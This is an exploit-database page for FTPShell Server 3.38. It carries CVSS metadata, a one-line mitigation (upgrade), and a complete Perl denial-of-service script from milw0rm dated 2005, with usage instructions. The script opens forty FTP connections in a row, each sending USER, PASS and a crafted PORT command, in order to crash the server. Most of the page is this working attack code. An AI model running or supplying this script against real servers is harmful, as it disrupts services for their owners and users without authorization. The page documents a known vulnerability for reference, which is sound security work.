header-logo
Suggest Exploit
vendor:
FTPShell Server
by:
milw0rm.com
7,5
CVSS
HIGH
Denial of Service (DoS)
400
CWE
Product Name: FTPShell Server
Affected Version From: 3.38
Affected Version To: 3.38
Patch Exists: YES
Related CWE: N/A
CPE: a:ftpshell:ftpshell_server
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: N/A
2005

FTPShell_FTPDOS.pl

This exploit is used to launch a Denial of Service (DoS) attack against FTPShell Server Version 3.38. It sends a series of USER, PASS and PORT commands to the FTP server, causing it to crash.

Mitigation:

Upgrade to the latest version of FTPShell Server.
Source

Exploit-DB raw data:

#!/usr/bin/perl
#
# Usage: FTPShell_FTPDOS.pl <ip> <user> <pass>
#        FTPShell_FTPDOS.pl 127.0.0.1 hello moto
#
# FTPshell Server Version 3.38
#
# Download:
# http://www.ftpshell.com/
#
################################################

use IO::Socket;
use Win32;
use strict;

my($i)      = "";
my($socket) = "";

for ($i = 1; $i <= 40; $i++)
{
        if ($socket = IO::Socket::INET->new(PeerAddr => $ARGV[0],
                                            PeerPort => "21",
                                            Proto    => "TCP"))
        {
                print "Login \#$i\n";

                Win32::Sleep(300);

                print $socket "USER $ARGV[1]\r\n";

                Win32::Sleep(100);

                print $socket "PASS $ARGV[2]\r\n";

                Win32::Sleep(100);

                print $socket "PORT 127,0,0,1,18,12\r\n";

                Win32::Sleep(100);

                close($socket);
        }
        else
        {
                print "Cannot connect to $ARGV[0]:21\n";
        }
}

# milw0rm.com [2005-07-26]